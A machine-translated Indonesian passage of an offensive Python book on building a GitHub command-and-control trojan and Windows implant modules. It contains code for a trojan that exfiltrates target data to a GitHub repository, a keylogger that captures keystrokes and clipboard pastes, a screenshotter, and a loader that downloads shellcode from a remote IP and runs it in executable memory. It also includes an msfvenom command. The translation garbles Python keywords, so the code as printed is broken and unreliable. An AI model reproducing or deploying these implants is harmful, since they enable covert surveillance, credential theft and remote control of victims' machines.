Perintah dan Kontrol GitHub 119


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Anda akan melihat kode Anda dikirim ke repo GitHub Anda; merasa bebas
untuk masuk ke akun Anda dan periksa ulang! Ini adalah bagaimana Anda dapat terus
mengembangkan kode di masa depan. Kami akan menyerahkan integrasi modul yang lebih
kompleks kepada Anda sebagai pekerjaan rumah.
Untuk menilai modul apa pun yang Anda buat, dorong modul tersebut ke GitHub lalu aktifkan
di file konfigurasi untuk trojan versi lokal Anda. Dengan cara ini, Anda dapat mengujinya pada
mesin virtual (VM) atau perangkat keras host yang Anda kendalikan sebelum mengizinkan
salah satu trojan jarak jauh Anda mengambil kode dan
Gunakan.

Konfigurasi Trojan
Kami ingin menugaskan trojan kami untuk melakukan tindakan tertentu. Ini berarti kita
memerlukan cara untuk memberitahukan tindakan apa yang harus dilakukan dan modul apa
yang bertanggung jawab untuk melakukan tindakan tersebut. Menggunakan file konfigurasi
memberi kita tingkat kontrol tersebut. Hal ini juga memungkinkan kita untuk secara efektif
menidurkan trojan (dengan tidak memberinya tugas apa pun) jika kita memilihnya. Agar sistem
ini dapat bekerja, setiap trojan yang Anda gunakan harus memiliki ID unik. Dengan begitu, Anda
dapat mengurutkan data yang diambil berdasarkan ID ini dan mengontrol trojan mana yang melakukan tugas terten
Kami akan mengkonfigurasi trojan untuk mencari di direktori konfigurasi untuk TROJANID
.json, yang akan mengembalikan dokumen JSON sederhana yang dapat kita parsing,
dikonversi ke kamus Python, dan kemudian digunakan untuk memberi tahu trojan kita tugas
mana yang harus dilakukan. Format JSON juga memudahkan untuk mengubah opsi konfigurasi.
Pindah ke direktori konfigurasi Anda dan buat file bernama abc
.json dengan konten berikut:

[
{
"modul": "dirlister"
},
{
"modul": "lingkungan"
}
]

Ini hanyalah daftar sederhana modul yang harus dijalankan oleh trojan jarak jauh.
Nanti, Anda akan melihat cara kami membaca dokumen JSON ini dan kemudian mengulangi
setiap opsi untuk memuat modul tersebut.
Saat Anda melakukan brainstorming ide modul, Anda mungkin menemukan bahwa ada
gunanya menyertakan opsi konfigurasi tambahan, seperti durasi eksekusi, berapa kali modul
dijalankan, atau argumen yang akan diteruskan ke modul. Anda juga dapat menambahkan
beberapa metode eksfiltrasi data, seperti yang kami tunjukkan di Bab 9.

Masuk ke baris perintah dan jalankan perintah berikut dari


direktori repo utama Anda:

$ git tambahkan.
$ git commit -m "Menambahkan konfigurasi sederhana."
$ git dorong master asal

120 Bab 7
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Nama belakang: ********
Kata sandi: ********

Sekarang setelah Anda memiliki file konfigurasi dan beberapa modul sederhana untuk dijalankan,
mari mulai membangun trojan utama.

Membangun Trojan Sadar GitHub


Trojan utama akan mengambil opsi konfigurasi dan kode untuk dijalankan dari GitHub. Mari kita
mulai dengan menulis fungsi yang menghubungkan dan mengautentikasi ke GitHub API lalu
berkomunikasi dengannya. Buka file baru bernama git_trojan.py dan masukkan yang berikut ini:

impor base64
impor github3
impor importlib
impor json
impor acak
sistem impor
impor threading
waktu impor

dari tanggal waktu impor tanggal waktu

Kode pengaturan sederhana ini berisi impor yang diperlukan, yang akan menjaga ukuran
trojan secara keseluruhan tetap relatif kecil saat dikompilasi. Kami mengatakan "relatif" karena sebagian
besar binari Python yang dikompilasi menggunakan pyinstaller berukuran sekitar 7MB.
3
Kami akan membuang biner ini ke mesin yang telah disusupi.
Jika Anda ingin menggunakan teknik ini untuk membangun botnet lengkap (jaringan yang
terdiri dari banyak implan semacam itu), Anda memerlukan kemampuan untuk menghasilkan
trojan secara otomatis, mengatur ID-nya, membuat file konfigurasi yang dikirim ke GitHub, dan
mengompilasi trojan tersebut ke dalam sebuah yang dapat dieksekusi. Namun kami tidak akan
membangun botnet hari ini; kami akan membiarkan imajinasi Anda yang bekerja.
Sekarang mari kita letakkan kode GitHub yang relevan:

1 def github_connect():
dengan open('mytoken.txt') sebagai f:
token = f.baca()
pengguna = 'tiarno'
sess = github3.login(token=token)
kembalikan sess.repositori (pengguna, 'bhptrojan')

2 def get_file_contents(namadir, nama_modul, repo):


kembalikan repo.file_contents(f'{dirname}/{module_name}').content

Kedua fungsi ini menangani interaksi dengan repositori GitHub.


Fungsi github_connect membaca token yang dibuat di GitHub 1. Saat Anda membuat token, Anda
menulisnya ke file bernama mytoken.txt. Sekarang kita membaca

3. Anda dapat memeriksa pyinstaller di sini: https:// www.pyinstaller.org/ downloads.html.

Perintah dan Kontrol GitHub 121


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

token dari file itu dan mengembalikan koneksi ke repositori GitHub. Anda mungkin ingin membuat
token yang berbeda untuk trojan yang berbeda sehingga Anda dapat mengontrol apa yang dapat
diakses oleh setiap trojan di repositori Anda. Dengan begitu, jika korban menangkap trojan Anda,
mereka tidak dapat datang dan menghapus semua data yang Anda ambil.
Fungsi get_file_contents menerima nama direktori, nama modul, dan koneksi repositori dan
mengembalikan konten modul yang ditentukan 2. Fungsi ini bertanggung jawab untuk mengambil file
dari repo jarak jauh dan membaca konten secara lokal. Kami akan menggunakannya untuk membaca
opsi konfigurasi dan kode sumber modul.

Sekarang kita akan membuat kelas Trojan yang melakukan tugas trojan penting:

kelas Trojan:
1 def __init__(diri, id):
diri.id = id
self.config_file = f'{id}.json'
2 self.data_path = f'data/{id}/'
3 mandiri.repo = github_connect()

Ketika kita menginisialisasi objek Trojan 1, kita menetapkan informasi konfigurasinya dan
jalur data di mana trojan akan menulis file keluarannya 2, dan kita membuat koneksi ke repositori 3.
Sekarang kita akan menambahkan metode yang kita perlukan untuk berkomunikasi dengan
itu:

1 def get_config(diri):
config_json = get_file_contents(
'config', self.config_file, self.repo
)
config = json.loads(base64.b64decode(config_json))

untuk tugas di konfigurasi:


jika tugas['modul'] tidak ada di sys.modules:
2 exec("impor %s" % tugas['modul'])
kembalikan konfigurasi

3 def module_runner(mandiri, modul):


hasil = sys.modules[modul].run()
self.store_module_result(hasil)

4 def store_module_result(mandiri, data):


pesan = tanggalwaktu.sekarang().isoformat()
remote_path = f'data/{self.id}/{message}.data'
bindata = byte('%r' % data, 'utf-8')
mandiri.repo.buat_file(
remote_path, pesan, base64.b64encode(bindata)
)

5 def lari (mandiri):


sementara Benar:

config = mandiri.get_config()
untuk tugas di konfigurasi:
benang = threading.Benang(
target=diri.module_runner,

122 Bab 7
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

args=(tugas['modul'],))
utas.mulai()
waktu.tidur(acak.randint(1, 10))

6 kali.tidur(random.randint(30*60, 3*60*60))

Metode get_config 1 mengambil dokumen konfigurasi jarak jauh

dari repo sehingga trojan Anda mengetahui modul mana yang akan dijalankan. Eksekutif
panggilan membawa konten modul ke objek trojan 2. module_runner
Metode memanggil fungsi run dari modul yang baru saja diimpor 3. Kita akan membahas lebih
detail tentang cara pemanggilannya di bagian berikutnya. Dan toko_modul_
metode hasil 4 membuat file yang namanya menyertakan tanggal dan waktu saat ini dan
kemudian menyimpan outputnya ke dalam file itu. Trojan akan menggunakan ketiga metode ini
untuk mengirim data apa pun yang dikumpulkan dari mesin target ke GitHub.
Dalam metode run 5, kami mulai menjalankan tugas-tugas ini. Langkah pertama adalah
mengambil file konfigurasi dari repo. Kemudian kita memulai modul di threadnya sendiri.
Sedangkan pada metode module_runner , kita memanggil proses modul
berfungsi untuk menjalankan kodenya. Ketika selesai berjalan, ia akan mengeluarkan string
yang kemudian kita dorong ke repo kita.
Ketika menyelesaikan suatu tugas, trojan akan tidur selama beberapa waktu secara
acak dalam upaya menggagalkan analisis pola jaringan apa pun. 6. Tentu saja, Anda dapat
membuat banyak lalu lintas ke google.com/, atau sejumlah situs lain yang tampak tidak
berbahaya, dalam upaya menyamarkan apa yang sedang dilakukan trojan Anda.
Sekarang mari kita buat peretasan impor untuk mengimpor file jarak jauh dari repo
GitHub.

Meretas Fungsi impor Python


Jika Anda sudah sampai sejauh ini dalam buku ini, Anda tahu bahwa kami menggunakan impor Python
fungsionalitas untuk menyalin perpustakaan eksternal ke dalam program kami sehingga
kami dapat menggunakan kodenya. Kami ingin dapat melakukan hal yang sama untuk
trojan kami. Namun karena kita mengendalikan mesin jarak jauh, kita mungkin ingin
menggunakan paket yang tidak tersedia di mesin tersebut, dan tidak ada cara mudah untuk
menginstal paket dari jarak jauh. Selain itu, kami juga ingin memastikan bahwa jika
kami menarik ketergantungan, seperti Scapy, trojan kami membuat modul tersebut tersedia
untuk semua modul lain yang kami tarik.
Python memungkinkan kita menyesuaikan cara mengimpor modul; jika ia tidak dapat
menemukan modul secara lokal, ia akan memanggil kelas impor yang kami tentukan, yang
memungkinkan kami mengambil perpustakaan dari repo kami dari jarak jauh. Kita harus
menambahkan kelas khusus kita ke daftar sys.meta_path . Mari buat kelas ini sekarang
dengan menambahkan kode berikut:

kelas GitImportir:
def __init__(diri):
""
mandiri.current_module_code =

def find_module(diri, nama, jalur=Tidak Ada):


print("[*] Mencoba mengambil %s" % nama)
mandiri.repo = github_connect()

Perintah dan Kontrol GitHub 123


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

perpustakaan_baru = get_file_contents('modul', f'{nama}.py', self.repo)


jika perpustakaan_baru bukan Tidak Ada:
1 self.current_module_code = base64.b64decode(perpustakaan_baru)
kembalikan diri

def load_module(diri, nama):


spec = importlib.util.spec_from_loader(nama, loader=Tidak ada,
asal=self.repo.git_url)
2 modul_baru = importlib.util.module_from_spec(spesifikasi)
exec(self.current_module_code, new_module.__dict__)
3 sys.modules[spec.name] = new_module
kembalikan modul_baru

Setiap kali penerjemah mencoba memuat modul yang tidak tersedia, ia akan menggunakan
kelas GitImporter ini . Pertama, metode find_module mencoba menemukan lokasi modul. Kami
meneruskan panggilan ini ke pemuat file jarak jauh kami. Jika kami dapat menemukan file di repo
kami, kami mendekode kode base64 dan menyimpannya di kelas 1. (GitHub akan memberi kami
data yang dikodekan base64.) Dengan mengembalikan self, kami menunjukkan kepada
penerjemah Python bahwa kami menemukan modul dan ia dapat memanggil metode load_module
untuk memuatnya. Kami menggunakan importlib asli
modul untuk terlebih dahulu membuat objek modul kosong baru 2 dan kemudian menyekop kode
yang kita ambil dari GitHub ke dalamnya. Langkah terakhir adalah memasukkan modul yang baru
dibuat ke dalam daftar sys.modules 3 sehingga dapat diambil oleh panggilan impor di masa
mendatang.
Sekarang mari kita berikan sentuhan akhir pada trojan dan mencobanya:

jika __nama__ == '__utama__':


sys.meta_path.append(GitImporter())
trojan = Trojan('abc')
trojan.jalankan()

Di blok __main__ , kami memasukkan GitImporter ke dalam daftar sys.meta_path ,


membuat objek Trojan , dan memanggil metode run -nya .
Sekarang mari kita mencobanya!

Menendang Ban
Baiklah! Mari kita uji hal ini dengan menjalankannya dari baris perintah:

PERINGATAN Jika Anda memiliki informasi sensitif dalam file atau variabel lingkungan, ingatlah bahwa tanpa
repositori pribadi, informasi tersebut akan masuk ke GitHub agar seluruh dunia dapat melihatnya.
Jangan bilang kami tidak memperingatkan Anda. Tentu saja, Anda dapat melindungi diri Anda
sendiri dengan menggunakan teknik enkripsi yang akan Anda pelajari di Bab 9.

$ python git_trojan.py
[*] Mencoba mengambil direktorir
[*] Mencoba mengambil kembali lingkungan
[*] Dalam modul direktorir
[*] Dalam modul lingkungan.

124 Bab 7
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Sempurna. Itu terhubung ke repositori, mengambil file konfigurasi,


menarik dua modul yang kami atur di file konfigurasi, dan menjalankannya.
Sekarang dari direktori trojan Anda, masukkan yang berikut ini pada baris perintah:

$ git pull master asal


Dari https://github.com/tiarno/bhptrojan
6256823..8024199 tuan -> asal/master
Memperbarui 6256823..8024199
Maju cepat
data/abc/29-03-2020T11:29:19.475325.data | 1+
data/abc/29-03-2020T11:29:24.479408.data | 1+
data/abc/29-03-2020T11:40:27.694291.data | 1+
data/abc/29-03-2020T11:40:33.696249.data | 1+
4 file diubah, 4 sisipan(+)
buat mode 100644 data/abc/29-03-2020T11:29:19.475325.data
buat mode 100644 data/abc/29-03-2020T11:29:24.479408.data
buat mode 100644 data/abc/29-03-2020T11:40:27.694291.data
buat mode 100644 data/abc/29-03-2020T11:40:33.696249.data

Luar biasa! Trojan memeriksa hasil dari dua modul yang berjalan.

Anda dapat melakukan sejumlah perbaikan dan penyempurnaan pada teknik inti perintah
dan kontrol ini. Mengenkripsi semua modul, konfigurasi, dan data yang dieksfiltrasi akan menjadi awal
yang baik. Anda juga perlu mengotomatiskan proses penarikan data, memperbarui file konfigurasi, dan
meluncurkan trojan baru jika Anda ingin menginfeksi sistem dalam skala besar. Saat Anda
menambahkan lebih banyak fungsi, Anda juga perlu memperluas cara Python memuat perpustakaan
dinamis dan terkompilasi.

Untuk saat ini, mari kita bekerja membuat beberapa tugas trojan yang berdiri sendiri, dan kita akan melakukannya
serahkan pada Anda untuk mengintegrasikannya ke dalam trojan GitHub baru Anda.

Perintah dan Kontrol GitHub 125


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

8
TUGAS UMUM
DI JENDELA

Saat Anda menyebarkan trojan, Anda mungkin ingin melakukan beberapa

tugas umum dengannya: mengambil penekanan tombol, mengambil

tangkapan layar, dan menjalankan kode shell untuk menyediakan sesi

interaktif ke alat seperti CANVAS atau Metasploit. Bab ini berfokus pada melakukan

tugas-tugas ini pada sistem Windows. Kami akan merangkum beberapa teknik deteksi kotak pasir

untuk menentukan apakah kami menjalankannya di dalam kotak pasir antivirus atau forensik.

Modul-modul ini akan mudah untuk dimodifikasi dan akan bekerja dalam kerangka trojan yang

dikembangkan di Bab 7. Pada bab selanjutnya, kita akan mengeksplorasi teknik eskalasi hak

istimewa yang dapat Anda terapkan dengan trojan Anda. Setiap teknik memiliki tantangan dan

kemungkinan tertangkapnya masing-masing, baik oleh pengguna akhir atau solusi antivirus.
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Kami menyarankan Anda membuat model target dengan hati-hati setelah Anda
menanamkan trojan sehingga Anda dapat menguji modul di lab Anda sebelum
mencobanya pada target langsung. Mari kita mulai dengan membuat keylogger sederhana.

Keylogging untuk Kesenangan dan Penekanan Tombol

Keylogging, penggunaan program tersembunyi untuk mencatat penekanan tombol berturut-


turut, adalah salah satu trik tertua dalam buku ini, dan masih digunakan dengan berbagai
tingkat penyamaran hingga saat ini. Penyerang masih menggunakannya karena sangat
efektif dalam menangkap informasi sensitif seperti kredensial atau percakapan.
Pustaka Python luar biasa bernama PyWinHook memungkinkan kita menjebak semua
peristiwa keyboard dengan mudah.1 Pustaka ini memanfaatkan fungsi asli Windows
SetWindowsHookEx, yang memungkinkan kita menginstal fungsi yang ditentukan pengguna
untuk dipanggil pada peristiwa Windows tertentu. Dengan mendaftarkan hook untuk event
keyboard, kita akan mampu menjebak semua penekanan tombol yang menjadi masalah
target. Selain itu, kita juga ingin mengetahui dengan pasti proses apa yang mereka
gunakan untuk melakukan penekanan tombol ini sehingga kita dapat menentukan kapan
nama pengguna, kata sandi, atau informasi berguna lainnya dimasukkan. PyWinHook
menangani semua pemrograman tingkat rendah untuk kita, sehingga logika inti dari keystroke logger tersera
Mari kita buka keylogger.py dan masukkan beberapa pipa ledeng:

dari ctypes impor byref, create_string_buffer, c_ulong, windll


dari io impor StringIO

impor mereka
impor pythoncom
impor pyWinhook sebagai pyHook
sistem impor
waktu impor
impor papan klip win32

WAKTU HABIS = 60*10

kelas KeyLogger:
def __init__(diri):
self.current_window = Tidak ada

def get_current_process(diri):
1 hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
2 windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
process_id = f'{pid.nilai}'

dapat dieksekusi = create_string_buffer(512)


3 h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
4 windll.psapi.GetModuleBaseNameA(
h_proses, Tidak ada, byref(dapat dieksekusi), 512)

1. PyWinHook adalah cabang dari perpustakaan PyHook asli dan diperbarui untuk mendukung Python 3.
Unduh PyWinHook di sini: https:// pypi.org/ project/ pyWinhook/.

128 Bab 8
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

window_title = buat_string_buffer(512)
5 windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
mencoba:

self.current_window = window_title.value.decode()
kecuali UnicodeDecodeError sebagai e:
print(f'{e}: nama jendela tidak diketahui')

6 mencetak('\n', proses_id,
dapat dieksekusi.nilai.decode(), self.current_window)

windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_proses)

Baiklah! Kami mendefinisikan konstanta, TIMEOUT, membuat kelas baru, KeyLogger,


dan tulis metode get_current_process yang akan menangkap jendela aktif dan ID
proses terkait. Dalam metode tersebut, pertama-tama kita memanggil
GetForeGroundWindow 1, yang mengembalikan pegangan ke jendela aktif di desktop
target. Selanjutnya kita meneruskan pegangan itu ke GetWindowThreadProcessId 2
berfungsi untuk mengambil ID proses jendela. Kami kemudian membuka proses 3, dan
menggunakan pegangan proses yang dihasilkan, kami menemukan nama proses 4
yang sebenarnya dapat dieksekusi. Langkah terakhir adalah mengambil teks lengkap
dari bilah judul jendela menggunakan fungsi GetWindowTextA 5. Di akhir metode pembantu
ini, kami menampilkan semua informasi 6 dalam header yang bagus sehingga Anda
dapat dengan jelas melihat penekanan tombol mana yang terjadi pada proses dan jendela
mana. Sekarang mari kita letakkan inti dari keystroke logger kita untuk menyelesaikannya:

def mykeystroke(diri sendiri, acara):


1 jika acara.WindowName != self.current_window:
mandiri.get_current_process()
2 jika 32 < acara.Ascii < 127:
print(chr(event.Ascii), akhir='')
kalau tidak:

3 jika acara.Kunci == 'V':


win32papan klip.OpenClipboard()
nilai = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
mencetak(f'[PASTE] - {nilai}')
kalau tidak:

mencetak(f'{event.Key}')
kembali Benar

pasti dijalankan():

simpan_stdout = sys.stdout
sys.stdout = StringIO()

kl = KeyLogger()
4 hm = pyHook.HookManager()
5 hm.KeyDown = kl.mykeystroke
6 hm.HookKeyboard()
sementara waktu.thread_time() < WAKTU HABIS:
pythoncom.PumpWaitingMessages()

Tugas Umum Trojaning di Windows 129


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

log = sys.stdout.getvalue()
sys.stdout = simpan_stdout
catatan pengembalian

jika __nama__ == '__utama__':


cetak(jalankan())
cetak('selesai.')

Mari kita uraikan hal ini, dimulai dengan fungsi run . Di Bab 7, kami membuat modul yang
dapat dijalankan oleh target yang disusupi. Setiap modul memiliki fungsi titik masuk yang
disebut run, jadi kita menulis keylogger ini mengikuti pola yang sama dan kita dapat
menggunakannya dengan cara yang sama. Fungsi run dalam sistem perintah-dan-kontrol
dari Bab 7 tidak memerlukan argumen dan mengembalikan outputnya. Untuk mencocokkan
perilaku tersebut di sini, untuk sementara kami mengalihkan stdout ke objek mirip file,
StringIO. Sekarang, semua yang ditulis ke stdout akan menuju ke objek itu, yang akan kita
tanyakan nanti.
Setelah berpindah stdout, kita membuat objek KeyLogger dan mendefinisikan PyWinHook
HookManager 4. Selanjutnya, kita mengikat event KeyDown ke KeyLogger
metode panggilan balik mykeystroke 5. Kami kemudian menginstruksikan PyWinHook untuk
mengaitkan semua penekanan tombol 6 dan melanjutkan eksekusi hingga waktu habis.
Setiap kali target menekan tombol pada keyboard, metode mykeystroke kami dipanggil
dengan objek event sebagai parameternya. Hal pertama yang kita lakukan di mykeystroke
adalah memeriksa apakah pengguna telah mengubah windows 1, dan jika demikian, kita
memperoleh nama jendela baru dan memproses informasi. Kami kemudian melihat penekanan
tombol yang dikeluarkan 2, dan jika berada dalam kisaran ASCII yang dapat dicetak, kami
cukup mencetaknya. Jika itu adalah pengubah (seperti tombol SHIFT, CTRL, atau ALT) atau
kunci non-standar lainnya, kami mengambil nama kunci dari objek acara. Kami juga memeriksa
apakah pengguna melakukan operasi tempel 3, dan jika demikian, kami membuang konten
clipboard. Fungsi callback diakhiri dengan mengembalikan True untuk memungkinkan
hook berikutnya dalam rantai—jika ada—untuk memproses kejadian tersebut. Mari kita mencobanya!

Menendang Ban
Sangat mudah untuk menguji keylogger kami. Cukup jalankan dan mulai gunakan Windows
secara normal. Coba gunakan browser web, kalkulator, atau aplikasi lainnya, lalu lihat
hasilnya di terminal Anda:

C:\Pengguna\tim>python keylogger.py

6852 WindowsTerminal.exe Windows PowerShell


Kembali
tes
Kembali

18149 firefox.exe Mozilla Firefox


nostarch.com
Kembali

Prompt Perintah 5116 cmd.exe


perhitungan

Kembali

130 Bab 8
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

3004 Kalkulator ApplicationFrameHost.exe


1 pergeseran
+1
Kembali

Anda dapat melihat bahwa kami mengetikkan kata test ke dalam jendela utama tempat skrip
keylogger dijalankan. Kami kemudian menjalankan Firefox, menjelajah ke nostarch.com/, dan
menjalankan beberapa aplikasi lainnya. Sekarang kita dapat dengan aman mengatakan bahwa kita
telah menambahkan key-logger kita ke dalam kumpulan trik trojaning kita! Mari beralih ke mengambil tangkapan layar.

Mengambil Tangkapan Layar

Sebagian besar malware dan kerangka pengujian penetrasi menyertakan kemampuan untuk mengambil
tangkapan layar pada target jarak jauh. Ini dapat membantu menangkap gambar, bingkai video, atau data
sensitif lainnya yang mungkin tidak Anda lihat dengan pengambilan paket atau keylogger. Untungnya,
kita dapat menggunakan paket PyWin32 untuk melakukan panggilan asli ke Windows API untuk
mengambilnya. Instal paket dengan pip:

pip instal pywin32

Pengambil tangkapan layar akan menggunakan Windows Graphics Device Interface (GDI) untuk
menentukan properti yang diperlukan, seperti total ukuran layar, dan untuk mengambil gambar.
Beberapa software screenshot hanya akan mengambil gambar jendela atau aplikasi yang sedang aktif,
namun kami akan menangkap keseluruhan layar.
Mari kita mulai. Buka screenshotter.py dan masukkan kode berikut:

impor base64
impor win32api
impor win32con
impor win32gui
impor win32ui

1 def get_dimensions():
lebar = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
tinggi = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
kiri = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
atas = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
kembali (lebar, tinggi, kiri, atas)

def tangkapan layar(nama='tangkapan layar'):


2 hddesktop = win32gui.GetDesktopWindow()
lebar, tinggi, kiri, atas = get_dimensions()

3 desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
4 mem_dc = img_dc.CreateCompatibleDC()

5 tangkapan layar = win32ui.CreateBitmap()


tangkapan layar.CreateCompatibleBitmap(img_dc, lebar, tinggi)
mem_dc.SelectObject(tangkapan layar)

Tugas Umum Trojaning di Windows 131


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

6 mem_dc.BitBlt((0,0), (lebar, tinggi),


img_dc, (kiri, atas), win32con.SRCCOPY)
7 tangkapan layar.SimpanBitmapFile(mem_dc, f'{name}.bmp')

mem_dc.HapusDC()
win32gui.DeleteObject(tangkapan layar.GetHandle())

8 pasti dijalankan():
tangkapan layar()
dengan open('screenshot.bmp') sebagai f:
img = f.baca()
kembalikan gambar

jika __nama__ == '__utama__':


tangkapan layar()

Mari kita tinjau apa yang dilakukan skrip kecil ini. Kami memperoleh pegangan
untuk seluruh desktop 2, yang mencakup seluruh area yang dapat dilihat di beberapa
monitor. Kami kemudian menentukan ukuran layar (atau layar) 1 sehingga kami
mengetahui dimensi yang diperlukan untuk tangkapan layar. Kita membuat konteks
perangkat menggunakan panggilan fungsi GetWindowDC 3 dan meneruskan pegangan
ke desktop.2 Selanjutnya, buat konteks perangkat berbasis memori 4, di mana kita akan
menyimpan pengambilan gambar hingga kita menulis byte bitmap ke file. Kami kemudian
membuat objek bitmap 5 yang diatur ke konteks perangkat desktop kami. Panggilan
SelectObject kemudian mengatur konteks perangkat berbasis memori untuk menunjuk
pada objek bitmap yang kita tangkap. Kami menggunakan fungsi BitBlt 6 untuk
mengambil salinan gambar desktop sedikit demi sedikit dan menyimpannya dalam
konteks berbasis memori. Anggap saja ini sebagai panggilan memcpy untuk objek
GDI. Langkah terakhir adalah membuang image ini ke disk 7.
Skrip ini mudah untuk diuji: jalankan saja dari baris perintah dan periksa direktori untuk file
screenshot.bmp Anda. Anda juga dapat menyertakan skrip ini dalam repo perintah dan kontrol
GitHub Anda, karena fungsi run 8 memanggil fungsi tangkapan layar untuk membuat gambar dan
kemudian membaca dan mengembalikan data file.

Mari beralih ke mengeksekusi shellcode.

Eksekusi Kode Shell Pythonic


Mungkin ada saatnya Anda ingin dapat berinteraksi dengan salah satu mesin target
Anda, atau menggunakan modul eksploitasi baru yang menarik dari pengujian penetrasi
atau kerangka eksploitasi favorit Anda. Hal ini biasanya, meskipun tidak selalu,
memerlukan beberapa bentuk eksekusi shellcode. Untuk mengeksekusi shellcode
mentah tanpa menyentuh sistem file, kita perlu membuat buffer di memori untuk
menampung shellcode dan, dengan menggunakan modul ctypes , membuat penunjuk
fungsi ke memori tersebut. Lalu kita tinggal memanggil fungsinya. Dalam kasus kami,

2. Untuk mempelajari semua tentang konteks perangkat dan pemrograman GDI, kunjungi halaman MSDN
di sini: https:// docs.microsoft.com/ en-us/ windows/ win32/ gdi/ device-contexts.

132 Bab 8
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

kita akan menggunakan urllib untuk mengambil kode shell dari server web dalam format base64 dan
kemudian menjalankannya. Mari kita mulai! Buka shell_exec.py dan masukkan kode berikut:

dari permintaan impor urllib

impor base64
impor ctypes

kernel32 = ctypes.windll.kernel32

def get_code(url): 1
dengan request.urlopen(url) sebagai respons: shellcode =
base64.decodebytes(response.read()) return shellcode

2 def write_memory(buf):
panjang = len(buf)

kernel32.VirtualAlloc.restype = ctypes.c_void_p 3
kernel32.RtlMoveMemory.argtypes =
( ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t)

4 ptr = kernel32.VirtualAlloc(Tidak ada, panjang, 0x3000, 0x40)


kernel32.RtlMoveMemory(ptr, buf, panjang)
kembalikan ptr

def run(kode shell): 5


buffer = ctypes.create_string_buffer(kode shell)

ptr = tulis_memori(buffer)

6 shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(Tidak ada)) 7


shell_func()

jika __nama__ == '__utama__':


url = "http://192.168.1.203:8100/shellcode.bin" shellcode
= get_code(url) run(shellcode)

Betapa mengagumkannya itu? Kami memulai blok utama kami dengan memanggil fungsi
get_code untuk mengambil kode shell yang dikodekan base64 dari server web kami 1.

Kemudian kita memanggil fungsi run untuk menulis kode shell ke dalam memori dan mengeksekusinya.

Dalam fungsi run , kami mengalokasikan buffer 5 untuk menyimpan kode shell setelah kami
mendekodekannya. Selanjutnya kita memanggil fungsi write_memory untuk menulis buffer ke dalam
memori 2.
Untuk dapat menulis ke dalam memori, kita harus mengalokasikan memori yang kita perlukan
(VirtualAlloc) lalu memindahkan buffer yang berisi shellcode ke dalamnya.

Tugas Umum Trojaning di Windows 133


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

memori yang dialokasikan (RtlMoveMemory). Untuk memastikan bahwa shellcode akan berjalan baik
kita menggunakan Python 32- atau 64-bit, kita harus menentukan bahwa hasil yang kita inginkan
kembali dari VirtualAlloc adalah sebuah pointer, dan argumen yang akan kita berikan pada fungsi
RtlMoveMemory adalah dua pointer dan sebuah objek ukuran. Kami melakukan ini dengan mengatur
VirtualAlloc.restype dan RtlMoveMemory.argtypes 3. Tanpa langkah ini, lebar alamat memori yang
dikembalikan dari VirtualAlloc tidak akan sesuai dengan lebar yang diharapkan RtlMoveMemory .

Dalam panggilan ke VirtualAlloc 4, parameter 0x40 menetapkan bahwa memori harus memiliki
izin yang ditetapkan untuk mengeksekusi dan akses baca/tulis; jika tidak, kami tidak akan dapat
menulis dan mengeksekusi kode shell. Kemudian kita memindahkan buffer ke dalam memori yang

dialokasikan dan mengembalikan pointer ke buffer. Kembali ke fungsi run , fungsi ctypes.cast
memungkinkan kita untuk menggunakan buffer untuk bertindak seperti penunjuk fungsi 6 sehingga
kita dapat memanggil kode shell seperti kita memanggil fungsi Python normal. Kami menyelesaikannya
dengan memanggil fungsi pointer, yang kemudian menyebabkan kode shell dijalankan 7.

Menendang Ban
Anda dapat membuat kode shellcode secara manual atau menggunakan kerangka kerja pentesting
favorit Anda seperti CANVAS atau Metasploit untuk menghasilkannya untuk Anda.3 Kami memilih
beberapa shellcode Windows x86 dengan generator payload Metasploit (msfvenom dalam kasus
kami). Buat shellcode mentah di /tmp/ shellcode.raw di mesin Linux Anda sebagai berikut:

msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f raw cmd=calc.exe > shellcode.raw


$ base64 -w 0 -i shellcode.raw > shellcode.bin

$ python -m http.server 8100


Melayani HTTP pada 0.0.0.0 port 8100 ...

Kami membuat kode shell dengan msfvenom dan kemudian menyandikannya ke base64
menggunakan perintah standar Linux base64. Trik kecil berikutnya menggunakan modul
http.server untuk memperlakukan direktori kerja saat ini (dalam kasus kami, /tmp/) sebagai root
